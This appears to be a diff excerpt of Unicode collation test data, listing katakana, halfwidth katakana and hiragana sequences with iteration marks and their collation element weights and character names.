+30A3 30FD ; [.3D5B.0020.000F.0002][.3D5B.0020.0010.0002] # <KATAKANA LETTER SMALL I, KATAKANA ITERATION MARK>
+FF68 30FD ; [.3D5B.0020.000F.0002][.3D5B.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SMALL I, KATAKANA ITERATION MARK>
+3043 309D ; [.3D5B.0020.000F.0001][.3D5B.0020.0010.0002] # <HIRAGANA LETTER SMALL I, HIRAGANA ITERATION MARK>
+30A4 30FD ; [.3D5B.0020.0011.0002][.3D5B.0020.0010.0002] # <KATAKANA LETTER I, KATAKANA ITERATION MARK>
+FF72 30FD ; [.3D5B.0020.0011.0002][.3D5B.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER I, KATAKANA ITERATION MARK>
+3044 309D ; [.3D5B.0020.0011.0001][.3D5B.0020.0010.0002] # <HIRAGANA LETTER I, HIRAGANA ITERATION MARK>
+30A5 30FD ; [.3D5C.0020.000F.0002][.3D5C.0020.0010.0002] # <KATAKANA LETTER SMALL U, KATAKANA ITERATION MARK>
+FF69 30FD ; [.3D5C.0020.000F.0002][.3D5C.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SMALL U, KATAKANA ITERATION MARK>
+3045 309D ; [.3D5C.0020.000F.0001][.3D5C.0020.0010.0002] # <HIRAGANA LETTER SMALL U, HIRAGANA ITERATION MARK>
+30A5 30FE ; [.3D5C.0020.000F.0002][.3D5C.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SMALL U, KATAKANA VOICED ITERATION MARK>
+FF69 30FE ; [.3D5C.0020.000F.0002][.3D5C.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER SMALL U, KATAKANA VOICED ITERATION MARK>
+3045 309E ; [.3D5C.0020.000F.0001][.3D5C.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER SMALL U, HIRAGANA VOICED ITERATION MARK>
+30A6 30FD ; [.3D5C.0020.0011.0002][.3D5C.0020.0010.0002] # <KATAKANA LETTER U, KATAKANA ITERATION MARK>
+FF73 30FD ; [.3D5C.0020.0011.0002][.3D5C.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER U, KATAKANA ITERATION MARK>
+3046 309D ; [.3D5C.0020.0011.0001][.3D5C.0020.0010.0002] # <HIRAGANA LETTER U, HIRAGANA ITERATION MARK>
+30A6 30FE ; [.3D5C.0020.0011.0002][.3D5C.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER U, KATAKANA VOICED ITERATION MARK>
+FF73 30FE ; [.3D5C.0020.0011.0002][.3D5C.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER U, KATAKANA VOICED ITERATION MARK>
+3046 309E ; [.3D5C.0020.0011.0001][.3D5C.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER U, HIRAGANA VOICED ITERATION MARK>
+30A7 30FD ; [.3D5E.0020.000F.0002][.3D5E.0020.0010.0002] # <KATAKANA LETTER SMALL E, KATAKANA ITERATION MARK>
+FF6A 30FD ; [.3D5E.0020.000F.0002][.3D5E.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SMALL E, KATAKANA ITERATION MARK>
+3047 309D ; [.3D5E.0020.000F.0001][.3D5E.0020.0010.0002] # <HIRAGANA LETTER SMALL E, HIRAGANA ITERATION MARK>
+30A8 30FD ; [.3D5E.0020.0011.0002][.3D5E.0020.0010.0002] # <KATAKANA LETTER E, KATAKANA ITERATION MARK>
+FF74 30FD ; [.3D5E.0020.0011.0002][.3D5E.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER E, KATAKANA ITERATION MARK>
+3048 309D ; [.3D5E.0020.0011.0001][.3D5E.0020.0010.0002] # <HIRAGANA LETTER E, HIRAGANA ITERATION MARK>
+30A9 30FD ; [.3D5F.0020.000F.0002][.3D5F.0020.0010.0002] # <KATAKANA LETTER SMALL O, KATAKANA ITERATION MARK>
+FF6B 30FD ; [.3D5F.0020.000F.0002][.3D5F.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SMALL O, KATAKANA ITERATION MARK>
+3049 309D ; [.3D5F.0020.000F.0001][.3D5F.0020.0010.0002] # <HIRAGANA LETTER SMALL O, HIRAGANA ITERATION MARK>
+30AA 30FD ; [.3D5F.0020.0011.0002][.3D5F.0020.0010.0002] # <KATAKANA LETTER O, KATAKANA ITERATION MARK>
+FF75 30FD ; [.3D5F.0020.0011.0002][.3D5F.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER O, KATAKANA ITERATION MARK>
+304A 309D ; [.3D5F.0020.0011.0001][.3D5F.0020.0010.0002] # <HIRAGANA LETTER O, HIRAGANA ITERATION MARK>
+30AB 30FD ; [.3D60.0020.0011.0002][.3D60.0020.0010.0002] # <KATAKANA LETTER KA, KATAKANA ITERATION MARK>
+FF76 30FD ; [.3D60.0020.0011.0002][.3D60.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER KA, KATAKANA ITERATION MARK>
+304B 309D ; [.3D60.0020.0011.0001][.3D60.0020.0010.0002] # <HIRAGANA LETTER KA, HIRAGANA ITERATION MARK>
+30AB 30FE ; [.3D60.0020.0011.0002][.3D60.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER KA, KATAKANA VOICED ITERATION MARK>
+FF76 30FE ; [.3D60.0020.0011.0002][.3D60.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER KA, KATAKANA VOICED ITERATION MARK>
+304B 309E ; [.3D60.0020.0011.0001][.3D60.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER KA, HIRAGANA VOICED ITERATION MARK>
+30AC 30FD ; [.3D60.0020.0011.0002][.0000.0037.0002][.3D60.0020.0010.0002] # <KATAKANA LETTER GA, KATAKANA ITERATION MARK>
+30AB 3099 30FD ; [.3D60.0020.0011.0002][.0000.0037.0002][.3D60.0020.0010.0002] # <KATAKANA LETTER KA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+FF76 FF9E 30FD ; [.3D60.0020.0011.0002][.0000.0037.0002][.3D60.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER KA, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+304C 309D ; [.3D60.0020.0011.0001][.0000.0037.0002][.3D60.0020.0010.0002] # <HIRAGANA LETTER GA, HIRAGANA ITERATION MARK>
+304B 3099 309D ; [.3D60.0020.0011.0001][.0000.0037.0002][.3D60.0020.0010.0002] # <HIRAGANA LETTER KA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
+30AC 30FE ; [.3D60.0020.0011.0002][.0000.0037.0002][.3D60.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER GA, KATAKANA VOICED ITERATION MARK>
+30AB 3099 30FE ; [.3D60.0020.0011.0002][.0000.0037.0002][.3D60.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER KA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+FF76 FF9E 30FE ; [.3D60.0020.0011.0002][.0000.0037.0002][.3D60.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER KA, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+304C 309E ; [.3D60.0020.0011.0001][.0000.0037.0002][.3D60.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER GA, HIRAGANA VOICED ITERATION MARK>
+304B 3099 309E ; [.3D60.0020.0011.0001][.0000.0037.0002][.3D60.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER KA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
+30AD 30FD ; [.3D61.0020.0011.0002][.3D61.0020.0010.0002] # <KATAKANA LETTER KI, KATAKANA ITERATION MARK>
+FF77 30FD ; [.3D61.0020.0011.0002][.3D61.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER KI, KATAKANA ITERATION MARK>
+304D 309D ; [.3D61.0020.0011.0001][.3D61.0020.0010.0002] # <HIRAGANA LETTER KI, HIRAGANA ITERATION MARK>
+30AD 30FE ; [.3D61.0020.0011.0002][.3D61.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER KI, KATAKANA VOICED ITERATION MARK>
+FF77 30FE ; [.3D61.0020.0011.0002][.3D61.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER KI, KATAKANA VOICED ITERATION MARK>
+304D 309E ; [.3D61.0020.0011.0001][.3D61.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER KI, HIRAGANA VOICED ITERATION MARK>
+30AE 30FD ; [.3D61.0020.0011.0002][.0000.0037.0002][.3D61.0020.0010.0002] # <KATAKANA LETTER GI, KATAKANA ITERATION MARK>
+30AD 3099 30FD ; [.3D61.0020.0011.0002][.0000.0037.0002][.3D61.0020.0010.0002] # <KATAKANA LETTER KI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+FF77 FF9E 30FD ; [.3D61.0020.0011.0002][.0000.0037.0002][.3D61.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER KI, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+304E 309D ; [.3D61.0020.0011.0001][.0000.0037.0002][.3D61.0020.0010.0002] # <HIRAGANA LETTER GI, HIRAGANA ITERATION MARK>
+304D 3099 309D ; [.3D61.0020.0011.0001][.0000.0037.0002][.3D61.0020.0010.0002] # <HIRAGANA LETTER KI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
+30AE 30FE ; [.3D61.0020.0011.0002][.0000.0037.0002][.3D61.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER GI, KATAKANA VOICED ITERATION MARK>
+30AD 3099 30FE ; [.3D61.0020.0011.0002][.0000.0037.0002][.3D61.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER KI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+FF77 FF9E 30FE ; [.3D61.0020.0011.0002][.0000.0037.0002][.3D61.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER KI, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+304E 309E ; [.3D61.0020.0011.0001][.0000.0037.0002][.3D61.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER GI, HIRAGANA VOICED ITERATION MARK>
+304D 3099 309E ; [.3D61.0020.0011.0001][.0000.0037.0002][.3D61.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER KI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
+30AF 30FD ; [.3D62.0020.0011.0002][.3D62.0020.0010.0002] # <KATAKANA LETTER KU, KATAKANA ITERATION MARK>
+FF78 30FD ; [.3D62.0020.0011.0002][.3D62.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER KU, KATAKANA ITERATION MARK>
+304F 309D ; [.3D62.0020.0011.0001][.3D62.0020.0010.0002] # <HIRAGANA LETTER KU, HIRAGANA ITERATION MARK>
+30AF 30FE ; [.3D62.0020.0011.0002][.3D62.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER KU, KATAKANA VOICED ITERATION MARK>
+FF78 30FE ; [.3D62.0020.0011.0002][.3D62.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER KU, KATAKANA VOICED ITERATION MARK>
+304F 309E ; [.3D62.0020.0011.0001][.3D62.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER KU, HIRAGANA VOICED ITERATION MARK>
+30B0 30FD ; [.3D62.0020.0011.0002][.0000.0037.0002][.3D62.0020.0010.0002] # <KATAKANA LETTER GU, KATAKANA ITERATION MARK>
+30AF 3099 30FD ; [.3D62.0020.0011.0002][.0000.0037.0002][.3D62.0020.0010.0002] # <KATAKANA LETTER KU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+FF78 FF9E 30FD ; [.3D62.0020.0011.0002][.0000.0037.0002][.3D62.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER KU, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+3050 309D ; [.3D62.0020.0011.0001][.0000.0037.0002][.3D62.0020.0010.0002] # <HIRAGANA LETTER GU, HIRAGANA ITERATION MARK>
+304F 3099 309D ; [.3D62.0020.0011.0001][.0000.0037.0002][.3D62.0020.0010.0002] # <HIRAGANA LETTER KU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
+30B0 30FE ; [.3D62.0020.0011.0002][.0000.0037.0002][.3D62.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER GU, KATAKANA VOICED ITERATION MARK>
+30AF 3099 30FE ; [.3D62.0020.0011.0002][.0000.0037.0002][.3D62.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER KU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+FF78 FF9E 30FE ; [.3D62.0020.0011.0002][.0000.0037.0002][.3D62.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER KU, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+3050 309E ; [.3D62.0020.0011.0001][.0000.0037.0002][.3D62.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER GU, HIRAGANA VOICED ITERATION MARK>
+304F 3099 309E ; [.3D62.0020.0011.0001][.0000.0037.0002][.3D62.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER KU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
+30B1 30FD ; [.3D63.0020.0011.0002][.3D63.0020.0010.0002] # <KATAKANA LETTER KE, KATAKANA ITERATION MARK>
+FF79 30FD ; [.3D63.0020.0011.0002][.3D63.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER KE, KATAKANA ITERATION MARK>
+3051 309D ; [.3D63.0020.0011.0001][.3D63.0020.0010.0002] # <HIRAGANA LETTER KE, HIRAGANA ITERATION MARK>
+30B1 30FE ; [.3D63.0020.0011.0002][.3D63.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER KE, KATAKANA VOICED ITERATION MARK>
+FF79 30FE ; [.3D63.0020.0011.0002][.3D63.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER KE, KATAKANA VOICED ITERATION MARK>
+3051 309E ; [.3D63.0020.0011.0001][.3D63.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER KE, HIRAGANA VOICED ITERATION MARK>
+30B2 30FD ; [.3D63.0020.0011.0002][.0000.0037.0002][.3D63.0020.0010.0002] # <KATAKANA LETTER GE, KATAKANA ITERATION MARK>
+30B1 3099 30FD ; [.3D63.0020.0011.0002][.0000.0037.0002][.3D63.0020.0010.0002] # <KATAKANA LETTER KE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+FF79 FF9E 30FD ; [.3D63.0020.0011.0002][.0000.0037.0002][.3D63.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER KE, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+3052 309D ; [.3D63.0020.0011.0001][.0000.0037.0002][.3D63.0020.0010.0002] # <HIRAGANA LETTER GE, HIRAGANA ITERATION MARK>
+3051 3099 309D ; [.3D63.0020.0011.0001][.0000.0037.0002][.3D63.0020.0010.0002] # <HIRAGANA LETTER KE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
+30B2 30FE ; [.3D63.0020.0011.0002][.0000.0037.0002][.3D63.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER GE, KATAKANA VOICED ITERATION MARK>
+30B1 3099 30FE ; [.3D63.0020.0011.0002][.0000.0037.0002][.3D63.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER KE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+FF79 FF9E 30FE ; [.3D63.0020.0011.0002][.0000.0037.0002][.3D63.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER KE, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+3052 309E ; [.3D63.0020.0011.0001][.0000.0037.0002][.3D63.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER GE, HIRAGANA VOICED ITERATION MARK>
+3051 3099 309E ; [.3D63.0020.0011.0001][.0000.0037.0002][.3D63.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER KE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
+30B3 30FD ; [.3D64.0020.0011.0002][.3D64.0020.0010.0002] # <KATAKANA LETTER KO, KATAKANA ITERATION MARK>
+FF7A 30FD ; [.3D64.0020.0011.0002][.3D64.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER KO, KATAKANA ITERATION MARK>
+3053 309D ; [.3D64.0020.0011.0001][.3D64.0020.0010.0002] # <HIRAGANA LETTER KO, HIRAGANA ITERATION MARK>
+30B3 30FE ; [.3D64.0020.0011.0002][.3D64.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER KO, KATAKANA VOICED ITERATION MARK>
+FF7A 30FE ; [.3D64.0020.0011.0002][.3D64.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER KO, KATAKANA VOICED ITERATION MARK>
+3053 309E ; [.3D64.0020.0011.0001][.3D64.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER KO, HIRAGANA VOICED ITERATION MARK>
+30B4 30FD ; [.3D64.0020.0011.0002][.0000.0037.0002][.3D64.0020.0010.0002] # <KATAKANA LETTER GO, KATAKANA ITERATION MARK>
+30B3 3099 30FD ; [.3D64.0020.0011.0002][.0000.0037.0002][.3D64.0020.0010.0002] # <KATAKANA LETTER KO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+FF7A FF9E 30FD ; [.3D64.0020.0011.0002][.0000.0037.0002][.3D64.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER KO, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+3054 309D ; [.3D64.0020.0011.0001][.0000.0037.0002][.3D64.0020.0010.0002] # <HIRAGANA LETTER GO, HIRAGANA ITERATION MARK>
+3053 3099 309D ; [.3D64.0020.0011.0001][.0000.0037.0002][.3D64.0020.0010.0002] # <HIRAGANA LETTER KO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
+30B4 30FE ; [.3D64.0020.0011.0002][.0000.0037.0002][.3D64.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER GO, KATAKANA VOICED ITERATION MARK>
+30B3 3099 30FE ; [.3D64.0020.0011.0002][.0000.0037.0002][.3D64.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER KO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+FF7A FF9E 30FE ; [.3D64.0020.0011.0002][.0000.0037.0002][.3D64.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER KO, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+3054 309E ; [.3D64.0020.0011.0001][.0000.0037.0002][.3D64.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER GO, HIRAGANA VOICED ITERATION MARK>
+3053 3099 309E ; [.3D64.0020.0011.0001][.0000.0037.0002][.3D64.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER KO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
+30B5 30FD ; [.3D65.0020.0011.0002][.3D65.0020.0010.0002] # <KATAKANA LETTER SA, KATAKANA ITERATION MARK>
+FF7B 30FD ; [.3D65.0020.0011.0002][.3D65.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SA, KATAKANA ITERATION MARK>
+3055 309D ; [.3D65.0020.0011.0001][.3D65.0020.0010.0002] # <HIRAGANA LETTER SA, HIRAGANA ITERATION MARK>
+30B5 30FE ; [.3D65.0020.0011.0002][.3D65.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SA, KATAKANA VOICED ITERATION MARK>
+FF7B 30FE ; [.3D65.0020.0011.0002][.3D65.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER SA, KATAKANA VOICED ITERATION MARK>
+3055 309E ; [.3D65.0020.0011.0001][.3D65.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER SA, HIRAGANA VOICED ITERATION MARK>
+30B6 30FD ; [.3D65.0020.0011.0002][.0000.0037.0002][.3D65.0020.0010.0002] # <KATAKANA LETTER ZA, KATAKANA ITERATION MARK>
+30B5 3099 30FD ; [.3D65.0020.0011.0002][.0000.0037.0002][.3D65.0020.0010.0002] # <KATAKANA LETTER SA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+FF7B FF9E 30FD ; [.3D65.0020.0011.0002][.0000.0037.0002][.3D65.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SA, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+3056 309D ; [.3D65.0020.0011.0001][.0000.0037.0002][.3D65.0020.0010.0002] # <HIRAGANA LETTER ZA, HIRAGANA ITERATION MARK>
+3055 3099 309D ; [.3D65.0020.0011.0001][.0000.0037.0002][.3D65.0020.0010.0002] # <HIRAGANA LETTER SA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
+30B6 30FE ; [.3D65.0020.0011.0002][.0000.0037.0002][.3D65.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER ZA, KATAKANA VOICED ITERATION MARK>
+30B5 3099 30FE ; [.3D65.0020.0011.0002][.0000.0037.0002][.3D65.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+FF7B FF9E 30FE ; [.3D65.0020.0011.0002][.0000.0037.0002][.3D65.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER SA, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+3056 309E ; [.3D65.0020.0011.0001][.0000.0037.0002][.3D65.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER ZA, HIRAGANA VOICED ITERATION MARK>
+3055 3099 309E ; [.3D65.0020.0011.0001][.0000.0037.0002][.3D65.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER SA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
+30B7 30FD ; [.3D66.0020.0011.0002][.3D66.0020.0010.0002] # <KATAKANA LETTER SI, KATAKANA ITERATION MARK>
+FF7C 30FD ; [.3D66.0020.0011.0002][.3D66.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SI, KATAKANA ITERATION MARK>
+3057 309D ; [.3D66.0020.0011.0001][.3D66.0020.0010.0002] # <HIRAGANA LETTER SI, HIRAGANA ITERATION MARK>
+30B7 30FE ; [.3D66.0020.0011.0002][.3D66.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SI, KATAKANA VOICED ITERATION MARK>
+FF7C 30FE ; [.3D66.0020.0011.0002][.3D66.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER SI, KATAKANA VOICED ITERATION MARK>
+3057 309E ; [.3D66.0020.0011.0001][.3D66.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER SI, HIRAGANA VOICED ITERATION MARK>
+30B8 30FD ; [.3D66.0020.0011.0002][.0000.0037.0002][.3D66.0020.0010.0002] # <KATAKANA LETTER ZI, KATAKANA ITERATION MARK>
+30B7 3099 30FD ; [.3D66.0020.0011.0002][.0000.0037.0002][.3D66.0020.0010.0002] # <KATAKANA LETTER SI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+FF7C FF9E 30FD ; [.3D66.0020.0011.0002][.0000.0037.0002][.3D66.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SI, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+3058 309D ; [.3D66.0020.0011.0001][.0000.0037.0002][.3D66.0020.0010.0002] # <HIRAGANA LETTER ZI, HIRAGANA ITERATION MARK>
+3057 3099 309D ; [.3D66.0020.0011.0001][.0000.0037.0002][.3D66.0020.0010.0002] # <HIRAGANA LETTER SI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
+30B8 30FE ; [.3D66.0020.0011.0002][.0000.0037.0002][.3D66.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER ZI, KATAKANA VOICED ITERATION MARK>
+30B7 3099 30FE ; [.3D66.0020.0011.0002][.0000.0037.0002][.3D66.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+FF7C FF9E 30FE ; [.3D66.0020.0011.0002][.0000.0037.0002][.3D66.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER SI, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+3058 309E ; [.3D66.0020.0011.0001][.0000.0037.0002][.3D66.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER ZI, HIRAGANA VOICED ITERATION MARK>
+3057 3099 309E ; [.3D66.0020.0011.0001][.0000.0037.0002][.3D66.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER SI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
+30B9 30FD ; [.3D67.0020.0011.0002][.3D67.0020.0010.0002] # <KATAKANA LETTER SU, KATAKANA ITERATION MARK>
+FF7D 30FD ; [.3D67.0020.0011.0002][.3D67.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SU, KATAKANA ITERATION MARK>
+3059 309D ; [.3D67.0020.0011.0001][.3D67.0020.0010.0002] # <HIRAGANA LETTER SU, HIRAGANA ITERATION MARK>
+30B9 30FE ; [.3D67.0020.0011.0002][.3D67.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SU, KATAKANA VOICED ITERATION MARK>
+FF7D 30FE ; [.3D67.0020.0011.0002][.3D67.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER SU, KATAKANA VOICED ITERATION MARK>
+3059 309E ; [.3D67.0020.0011.0001][.3D67.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER SU, HIRAGANA VOICED ITERATION MARK>
+30BA 30FD ; [.3D67.0020.0011.0002][.0000.0037.0002][.3D67.0020.0010.0002] # <KATAKANA LETTER ZU, KATAKANA ITERATION MARK>
+30B9 3099 30FD ; [.3D67.0020.0011.0002][.0000.0037.0002][.3D67.0020.0010.0002] # <KATAKANA LETTER SU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+FF7D FF9E 30FD ; [.3D67.0020.0011.0002][.0000.0037.0002][.3D67.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SU, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+305A 309D ; [.3D67.0020.0011.0001][.0000.0037.0002][.3D67.0020.0010.0002] # <HIRAGANA LETTER ZU, HIRAGANA ITERATION MARK>
+3059 3099 309D ; [.3D67.0020.0011.0001][.0000.0037.0002][.3D67.0020.0010.0002] # <HIRAGANA LETTER SU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
+30BA 30FE ; [.3D67.0020.0011.0002][.0000.0037.0002][.3D67.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER ZU, KATAKANA VOICED ITERATION MARK>
+30B9 3099 30FE ; [.3D67.0020.0011.0002][.0000.0037.0002][.3D67.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+FF7D FF9E 30FE ; [.3D67.0020.0011.0002][.0000.0037.0002][.3D67.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER SU, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+305A 309E ; [.3D67.0020.0011.0001][.0000.0037.0002][.3D67.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER ZU, HIRAGANA VOICED ITERATION MARK>
+3059 3099 309E ; [.3D67.0020.0011.0001][.0000.0037.0002][.3D67.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER SU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
+30BB 30FD ; [.3D68.0020.0011.0002][.3D68.0020.0010.0002] # <KATAKANA LETTER SE, KATAKANA ITERATION MARK>
